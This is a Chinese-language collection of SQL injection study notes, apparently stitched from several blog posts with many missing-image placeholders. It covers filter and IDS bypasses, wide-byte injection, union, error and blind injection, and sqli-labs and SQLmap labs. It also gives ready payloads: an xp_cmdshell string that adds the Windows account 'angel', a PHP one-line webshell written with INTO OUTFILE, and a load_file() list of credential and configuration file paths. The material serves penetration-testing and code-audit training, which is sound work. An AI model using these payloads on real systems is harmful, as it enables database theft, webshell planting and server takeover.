防注入技术的突破

  • 关键字绕过
  • 防注入程序都过滤了以下关键字:
    and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =

针对AND与“’”号和“=”号 select 等过滤的突破

PS:

1、运用编码技术绕过
如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31,

而Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

2、通过空格绕过
如两个空格代替一个空格,
用Tab代替空格等,
或者删除所有空格,如
or’ swords’ =‘swords’

由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过

or ’swords’ =’swords’

4、通过类型转换修饰符N绕过
程度 绕过限制,而且还有别的作用
关于利用

or ’swords’ = N’ swords’
大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用
并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ ……’ )

6、通过LIKE绕过

如or
’swords’ LIKE ’sw’
绕过
“=”“>”
的限制……

7、通过IN绕过

or ’swords’ IN (’swords’)

8、通过BETWEEN绕过

or ’swords’ BETWEEN ’rw’ AND ’tw’

9、通过>或者<绕过
or ’swords’ > ’sw’
or ’swords’ < ’tw’
or 1<3
……
10、运用注释语句绕过
空格,tab键和注释符/**/可以用来切割sql关键字

回车 作为分割符
回车的ascii码是chr(13)&chr(10)
转换成url编码形式是%0d%0a
可以用%0d%0a代替空格pass一些过滤空格的检查了

用 / * * / 代替空格,如:
UNION /* */ Select / * * / user,pwd,from tbluser

用 / * * / 分割敏感词,如:
U/ * */ NION / * */ SE / * */ LECT / * */user,pwd from tbluser

只用%0d能正常执行语句吗?只用%0a呢?
测试证明,用任意一种分割在mssql、mysql和access里面都是可以的

ascii码可以用来在sql语句中代替空格
在所有128个低位ascii字符中
chr(12)也可以在access里用
不过貌似chr(12)不能出现在and、or之类的关键词附近
mysql中比access多一个chr(11)可以。

至于mssql, 直接从1到32的ascii码换成字符后都可以正常使用。

中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了

字符型的,如果是数值型,
可以在id=1后加一个括号,不过没有测试,
比如:jmdcw.asp?id=(1)and(select…),应该可行

11、用HEX绕过,一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)


通用点的过滤方法

  • 采用赋值的方法
    先声明一个变量a,然后把我们的指令赋值给a,
    然后调用变量a最终执行我们输入的命令。
    变量a可以是任何命令。

如下:
  declare @a sysname
  select @a=
  exec master.dbo.xp_cmdshell @a
效果
http://www.xxxx.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];–

其中的
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
就是
“net user angel pass /add”

mssql的多语句问题

必须用分号作为语句的结尾 (错了)
类似
Copy code
select * from table exec xp_cmdshell’xxxxxxxxxx’

select * from table/**/exec xp_cmdshell’xxxxxxxxxx’

select * from table|—tab—|exec xp_cmdshell’xxxxxxxxxx’

select * from table|—enter—|exec xp_cmdshell’xxxxxxxxxx’

的语句都是可以正常执行的。
跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。
(遇到带空格过滤关键字的拦截程序)

宽字节注⼊

注⼊产⽣的原理
  • 源于程序员设置MySQL连接时错误配置 set character_set_client=gbk
  • 引发编码转换从⽽导致的注⼊漏洞

正常情况下当GPC开启 或 使⽤addslashes函数 过滤GET或POST提交的参数时

⿊客使⽤的 单引号 ’ 就会 被转义为: ';

  • 如果存在宽字节注⼊
  • 输⼊%df%27时 经过上⾯提到的单引号转义变成了
    %df%5c%27(%5c是反斜杠\)
  • 之后 在数据库查询前 由于使⽤了GBK多字节编码
    即在 汉字编码范围内两个字节会被编码为⼀个汉字。
  • 然后MySQL服务器会对查询语句进⾏GBK编码
    即%df%5c转换成了汉字“運”,
    ⽽单引号逃逸了出来,从⽽造成了注⼊漏洞

GBK编码导致宽字节注⼊

  • GBK编码是数据库编码,跟前台的编码⽆关

GBK转UTF-8

  • 我们输⼊%df%27时
  • 单引号转义变成了%df%5c%27(%5c是反斜杠\),
  • 然后%df%5c正好属于gbk的汉字编码范围,
  • 经过iconv转换到utf-8编码转换后变成了汉字“運”,从⽽吞掉了反斜杠使得单引
    号逃脱出来。

UTF-8转GBK

  • “錦”,它的utf-8编码是e98ca6,它的gbk编码是%e5%5c, 反斜杠\正好为%5c。
  • 如果我们将title设置为:錦’,⾸先经过addlashes函数或GPC对单引号转义变为:錦
    \’,
  • 然后会经过icnov函数会对”錦”转化为gbk编码
  • 最后就是:%e5%5c%5c%27。反斜杠被转义了(%5c%5c),从⽽单引号逃逸出来就会引发注⼊漏洞。

 判断是否存在SQL注入
'
and 1=1
and 1=2

暴字段长度
Order by 数字

匹配字段
and 1=1 union select 1,2,..,n

暴字段位置
and 1=2 union select 1,2,..,n
 
利用内置函数暴数据库信息
version() database() user()
不用猜解可用字段暴数据库信息(有些网站不适用):
and 1=2 union all select version() 
and 1=2 union all select database() 
and 1=2 union all select user() 
操作系统信息:
and 1=2 union all select @@global.version_compile_os from mysql.user 
数据库权限:
and ord(mid(user(),1,1))=114  返回正常说明为root
 
暴库 (mysql>5.0)
Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
高级用法(一个可用字段显示两个数据内容):
Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1
直接写马(Root权限)
条件:1、知道站点物理路径
2、有足够大的权限(可以用select …. from mysql.user测试)
3magic_quotes_gpc()=OFF
select ‘<?php eval_r($_POST[cmd])?>' into outfile ‘物理路径'
and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

  1replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
  2replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
  上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
  3load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
  4/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
  5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
  6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
  7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
  8、d:\APACHE\Apache2\conf\httpd.conf
  9、C:\Program Files\mysql\my.ini
  10../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
  11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
  12/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
  13/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
  14/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
  15/etc/sysconfig/iptables 本看防火墙策略
  16 、 usr/local/app/php5 b/php.ini PHP 的相当设置
  17/etc/my.cnf MYSQL的配置文件
  18/etc/redhat-release 红帽子的系统版本
  19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
  20/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
  21/usr/local/app/php5 b/php.ini //PHP相关设置
  22/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
  23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  24、c:\windows\my.ini
25、c:\boot.ini
网站常用配置文件 config.inc.php、config.php。load_file()时要用replace(load_file(HEX)char(60),char(32))
注:
Char(60)表示 <
Char(32)表示 空格

手工注射时出现的问题:
当注射后页面显示:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
如:/instrument.php?ID=13 and 1=2 union select 1,load_file(0x433A5C626F6F742E696E69),3,4,user()
这是由于前后编码不一致造成的,
解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:
/instrument.php?ID=13 and 1=2 union select 1,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

代码审计——sql注入漏洞常规挖掘分析/实战

在这里插入图片描述

- 挖掘方法

在这里插入图片描述- 数据库操作性 函数 写到配置环境 (暂时忽略)


在这里插入图片描述


PHP mysql_real_escape_string() 函数

  • 转义 SQL 语句中使用的字符串中的特殊字符
  • 下列字符受影响:

\x00
\n
\r
\

"
\x1a

  • 如果成功,则该函数返回被转义的字符串。
    如果失败,则返回 false。
    在这里插入图片描述

PHP addslashes() 函数

  • ——返回在 预定义字符 之前 添加反斜杠 的 字符串。
  • 预定义字符是:

单引号(')
双引号(")
反斜杠(\)
NULL

提示:
可用于 为存储 在 数据库 中的 字符串以及数据库查询语句 准备字符串。

注释:
PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。
所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。
遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。 在这里插入图片描述


PHP htmlentities() 函数

  • ——把字符转换为 HTML 实体。
    提示:
    要把 HTML 实体转换回字符,请使用 html_entity_decode() 函数。
    请使用 get_html_translation_table() 函数 来返回 htmlentities() 使用的翻译表。在这里插入图片描述在这里插入图片描述在这里插入图片描述

PHP htmlspecialchars() 函数

  • ——把一些预定义的字符转换为 HTML 实体
预定义的字符是:

& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 &#039;
< (小于) 成为 &lt;
> (大于) 成为 &gt;

在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述


PHP strip_tags() 函数

  • ——剥去字符串中的 HTML、XML 以及 PHP 的标签。

注释:该函数始终会剥离 HTML 注释。这点无法通过 allow 参数改变。

注释:该函数是二进制安全的。

在这里插入图片描述
在这里插入图片描述


PHP md5() 函数

  • ——md5() 函数计算字符串的 MD5 散列。

  • ——md5() 函数使用 RSA 数据安全,包括 MD5 报文摘要算法。

在这里插入图片描述 在这里插入图片描述


PHP sha1() 函数

  • ——sha1() 函数计算字符串的 SHA-1 散列。

  • ——sha1() 函数使用美国 Secure Hash 算法 1

在这里插入图片描述 在这里插入图片描述

PHP intval() 函数

  • ——函数用于获取变量的整数值。

  • ——通过使用指定的进制 base 转换(默认是十进制)
    返回变量 var 的 integer 数值。

  • —— intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。

在这里插入图片描述 在这里插入图片描述

# 适用人群

  • 安全开发
  • 程序员
  • 渗透测试人员
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • id=1 写死
  • 可操控 $_POST 接收
    在这里插入图片描述
  • 安全函数 查看是否严谨
  • 注入 是否进行限制
  • 来判断 sql注入漏洞 在这个地方 是否存在

# 数据库监控

  • 监控插件 监控sql操作语句词型
  • 访问 网站特殊地址 查看数据库操作语句 执行在 哪个地方
  • 追寻代码 文件地址
  • 跟踪 代码是否可控 绕过
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 分析 哪个语句 跟当前 访问页面 参数相关
  • 尝试 更改参数 追加确认

在这里插入图片描述

  • 作为全局搜索在这里插入图片描述
  • 如果不确定 就打开一个 注释下
    在这里插入图片描述
  • 更改参数 查看页面状态

在这里插入图片描述

  • 语句注释 后 页面报错
  • 确认是 当前页面 代码文件

在这里插入图片描述

  • 注意传值方法
  • 追踪该方法有没有相关 绕过 过滤 条件
  • 若没有 可能存在注入点

#实战挖掘#

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

  • 变量全局 搜索在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 访问相关文件在这里插入图片描述在这里插入图片描述
  • 传入 验证绕过 所需 参数
  • 并且开启 数据库监控
  • 补足 验证条件
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
  • 构造 ?id=1 order = 1 &u …

在这里插入图片描述

  • %23 -----> #
    在这里插入图片描述

  • 盲注测试

在这里插入图片描述在这里插入图片描述

  • 构造 ?id=1 union select 1,2,3 &u …在这里插入图片描述
  • 页面 注入 测试
    在这里插入图片描述
  • 联合注入 失败
  • 测试盲注

在这里插入图片描述在这里插入图片描述

  • 0.5 ---->延时2s

  • 一般延时注入 要比 联合注入 通用性好

# 总结

  • 访问敏感页面

  • 监控数据库

  • 查找执行出处函数 方法

  • 监控 出处 处 变量

  • 追踪变量 是否过滤

  • sql是否存在

  • 关键字搜索 ——任何漏洞挖掘 比较常用

  • 数据库监控—— 类似于 SQL注入这种相应

网络安全高手的进阶蜕变之旅

web安全工程师-01-SQL注入漏洞原理与利用

1.1 Web应用架构分析

1998 年 至今 20多年 了

爆出 sql 注入 导致 大量数据泄露

发现问题 —> 规避 sql注入 带来的 风险
研究 web框架 能 使我们 更熟悉 框架审计 中 注入的 原理
在这里插入图片描述

B/S 架构 开始 的时候 数据库 和网站 在同一台服务器 上

webapp 网站 放在 容器里
容器和数据库 软件 安装在 操作系统里
逻辑对 数据库的操作 来实现 网站功能

在这里插入图片描述
之后 互联网技术 发展
大量数据 大量请求 需要 web应用来处理
在这里插入图片描述
集群效果

在这里插入图片描述
中间件 容器
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

请添加图片描述

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述




1.2 SQLi注入环境搭建

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

部分漏洞 需要 tomcat环境
WAMP 一款windows系统下的Apache+PHP+Mysql集成环境整合包
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

工程配置信息 路径等

在这里插入图片描述
部署的代码

在这里插入图片描述
需要的应用

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

windows 和 linux 换行符 不一样 导致 记事本不换行

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

不同难度级别

在这里插入图片描述在这里插入图片描述

Linux docker 安装 sqli labs
在这里插入图片描述
docker images

在这里插入图片描述
docker search sqli-labs
在这里插入图片描述
docker pull acgpiano/sqli-labs

在这里插入图片描述
在这里插入图片描述
docker run -dt --name sqli -p 80:80 --rm acogiano/sqli-labs

后台运行
再命名
本地:docker 端口 —端口映射
创建 清理镜像
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
边看代码 边学习 注入

1.3 SQL注入原理分析

在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
注意 返回 长度 select 1,version()
在这里插入图片描述
docker exec -it xxxname /bin/bash
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
用1 来 占位

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

# %23 注释符号

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

MySQL注入方法逻辑运算及常用函数

在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述

~ 0x7e

在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述

登陆处 注入 构造 万能密码

 'or '1'='1

在这里插入图片描述
在这里插入图片描述

时间延时注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述

updatexml
在这里插入图片描述
xpath格式 在这里插入图片描述在这里插入图片描述
在这里插入图片描述
报错注入

SQL注入流程

在这里插入图片描述
在这里插入图片描述
灵活构造参数 用于 搜索引擎

页面爬取 动态链接 去依次 注入 测试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述
这种 更适用于 有 登陆验证授权 或 cookie 的 案例
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

* 用在 漏洞 sql注入 特别了解

在这里插入图片描述
黑盒测试
在这里插入图片描述

白盒测试 寻找 测试点
在这里插入图片描述
在这里插入图片描述
id 参数 存在 sql注入 漏洞

从 sql命令 往上找 反向
GET POST 用户数据 正向

在这里插入图片描述在这里插入图片描述
flask路由 对 用户 输入 地址识别
进入不同方法 进行处理
在这里插入图片描述

直接用 form表单
validate 有效性判断 password 没有做处理
获取到数据
在这里插入图片描述
直接 insert 添加到 数据库中

在这里插入图片描述
密码做了 hash 处理 没法 对 数据库 直接操作

username 做了 正则匹配 也没办法

email 邮箱 注册 验证
在这里插入图片描述
邮箱 没有对 输入内容 进行验证
在这里插入图片描述
在这里插入图片描述
构造 payload
在这里插入图片描述在这里插入图片描述
在这里插入图片描述
Microsoft JET Access 数据库

在这里插入图片描述
mysql 5.x 存在 用数据语句 内置库 表 列 -->查询 关键数据

access 不存在 库信息
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
sqlserver sa权限 执行系统命令
在这里插入图片描述

mysql 权限 低 不能直接执行系统命令
读文件 配置文件
tomcat 管理员管理密码 部署webshell 变相提权
读取 数据库配置文件 - 账号密码

写文件 --os-shell
php-mysql 写一个 webshell 到 网站目录 执行系统命令 变相提权

SQL手工注入方法

在这里插入图片描述在这里插入图片描述
引擎层
实现 数据 存取
定义 数据 存储 的 格式 方式

sql层
特定的 语法 完成 数据库任务执行
执行结果 处理 返回 可识别信息

连接层
通讯协议 线程 验证

在这里插入图片描述
结构化 查询语句
授权
数据库 定义 控制 操作 查询 语言
解析器
优化器
执行器
引擎层
缓存

了解基础原理

在这里插入图片描述
库 xx小学
表 xx年级xx班
列 序号 学号 姓名 性别
数据 1 x x x

库 功能 操作

mysql 账户信息
sys 元数据信息
performance_schema 性能参数 参数设置 收集
information_schema 访问 元数据

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
十六进制 不需要 单引号 ’ '包裹

1.BIN:binary,二进制的;
2.OCT:octal,八进制的;
3.HEX:hexadecimal,十六进制的;
4.DEC:decimal,十进制的。
Hash是把任意长度的输入通过散列算法变换成固定长度的输出,该输出就是散列值

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述bp 用在 时间 布尔 盲注 比较多

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述进行 简单的 逻辑 判断
在这里插入图片描述在这里插入图片描述联合查询 之前 判断 字段 长度
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
多条数据 group_concat 粘在一起显示

在这里插入图片描述在这里插入图片描述在这里插入图片描述

信息收集

在这里插入图片描述

mysql 提权 不可以直接 执行 系统 命令

通过 读写文件 进行 提权
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述文件 php 格式 在页面 显示不出来 在源码里 可看

读 数据库 配置 密码
系统配置文件
在这里插入图片描述权限文件 系统信息 注意 权限大小

写入 webshell 到 目录 提权

在这里插入图片描述

不能 创建 写文件

权限不够

在这里插入图片描述
实在不行 就 换个不需要文件权限的

权限 可以 就 能写入 目标目录

  • 实验测试——SQL注入漏洞原理及防范-上

漏洞介绍:

    SQL注入漏洞可以说是在企业运营中会遇到的最具破坏性的漏洞之一,
    它也是目前被利用得最多的漏洞。要学会如何防御SQL注入,
    我们首先要对他的原理进行了解。
    
    SQL注入(SQLInjection)是这样一种漏洞:
    当我们的Web app在向后台数据库传递SQL语句进行数据库操作时。
    如果对用户输入的参数没有经过严格的过滤处理,那么恶意访问者就可以构造特殊的SQL语句,
    直接输入数据库引擎执行,获取或修改数据库中的数据。

漏洞危害:

  • 直接就造成数据库中的数据泄露
  • 如果数据库连接用户具备高权限,则可能导致恶意访问者获取服务器控制
  • 众多安全事件的切入点。

实验环境工具介绍:

  • 火狐浏览器

HackBar:
一款Firefox浏览器下的黑客插件
Sql注入以及Xss测试或进行各种编码功能等。
在火狐的附加组件中搜索“hackbar”,将它添加到火狐浏览器中, 重启后Firefox后安装完成,按F9键打开我们就会看到在地址栏下面会出现一个大框框就是hackbar了。
安装完后,打开火狐浏览器,在工具=》附加组件里搜索“HackBar”并安装,如下图:

在这里插入图片描述
安装完后,重启一下火狐浏览器才会生效

在这里插入图片描述

重启完后,打开百度,你会发现标签栏处多了一些工具条,它就是HackBar插件,
首次打开是开启的,可以通过F9来切换工具条是否显示与隐藏。
我们可以点击Load URL将URL栏的地址加载到HackBar窗口中,
可以利用HackBar工具栏提供了很多web开发相关的命令,像urlencode,urldecode等常见命令。

在这里插入图片描述

  • 实验测试——SQLmap工具的使用-SQLmap初步

实验目的:

  • 学习使用SQLmap进行注入点判断
  • 学习使用SQLmap注入出数据

实验工具:

  • SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本部分学习使用SQLmap进行简单的注入点判断并注入出数据。

第二章:SQL注入语法类型

2.1 union联合查询注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述

insert update 都不可以使用 union
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
orderby 对第几列 进行排序

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

’ 闭合 单引号

–+ 注释掉 后面的 单引号

在这里插入图片描述
union 内部 的 select 语句 必须 有 相同的 列

在这里插入图片描述
在这里插入图片描述
union 把两个 select 结果集 结合到 一块
在这里插入图片描述
二分法 查询列长度

在这里插入图片描述 在这里插入图片描述在这里插入图片描述
select 语句 可以嵌套

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

2.2 报错注入

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
进行匹配 波浪号 账号密码
在这里插入图片描述在这里插入图片描述
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

构造 非法 xpath 值

在这里插入图片描述

在这里插入图片描述
方便 快速 脚本 正则匹配

在这里插入图片描述在这里插入图片描述在这里插入图片描述注意 报错 返回的 长度 32位

在这里插入图片描述在这里插入图片描述在这里插入图片描述
将数据 截取

在这里插入图片描述dumb

实验地址:实验测试——SQLmap工具的使用-POST注入

实验目的:
学习使用SQLmap工具进行注入POST类型的SQL注入点。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本次实验将使用SQLmap工具进行注入POST类型的SQL注入点。

实验地址:实验测试——SQLmap工具的使用-cookie注入

实验目的:
学习使用SQLmap工具进行注入cookie类型的SQL注入点。
实验工具:
SQLmap
SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

本实验将使用SQLmap工具进行注入cookie类型的SQL注入点。

检测二

答案:
1、解析: D、首先要构造语句,让正常的数据无法返回,这里选择id=-1,接着要构造显示内容,3,5,8,7,4让这些数字显示在对应位置,这里只要没用相同的数字,我们就能判断出每个数字所代表的唯一位置,从而判断出哪里回显数据。
2、解析: A、通过union select的长度,可以判断出返回数据的列,通过user(),可以直接显示当前数据的用户名,通过(select database())可以查询出当前数据库的库名称并返回。
3、解析: C、updatexml接收3个参数,第一个XML文档,第二个xpath语句,第三是要替换成为的字符串。
4、解析: C、报错注入的关键就是要显示错误语句,如果不显示,我们就不能通过报错看到内容。
5、解析: A、只要数据库触发到了报错语句,就会产生报错,并将报错信息显示到页面上。

实验地址:实验测试——SQLmap工具的使用-执行SQL命令

实验目的:

学习通过SQLmap工具执行SQL命令的几种不同的方式。

实验工具:

SQLmap

SQLmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Acess,IBM DB2,SQLLite,Firebird,Sybase和SAP MaxDB……SQLmap采用几种独特的SQL注入技术,分别是盲推理SQL注入,UNION查询SQL注入,对查询和盲注。其广泛的功能和选项包括数据库指纹,枚举,数据库提取,访问目标文件系统,并在获取完全操作权限时实行任意命令。

实验内容:

学习通过SQLmap工具执行SQL命令的几种不同的方式:

1.执行指定的SQL语句
2.交互式的SQL命令行
3.执行文件中的SQL语句

第三章:SQL 盲注

布尔盲注

在这里插入图片描述在这里插入图片描述 在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述单引号 反义 导致 注入失败
转成 数字 比对 避免 单引号 出现

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
猜出 email

更换 别的 表
在这里插入图片描述猜解 ref 不像是 数据

在这里插入图片描述猜解 uag
在这里插入图片描述猜解 user
users 都一样
在这里插入图片描述
a-z 下划线 0-9

在这里插入图片描述在这里插入图片描述在这里插入图片描述判断 列 名

在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
改变 limit 值 对 第二列 测试

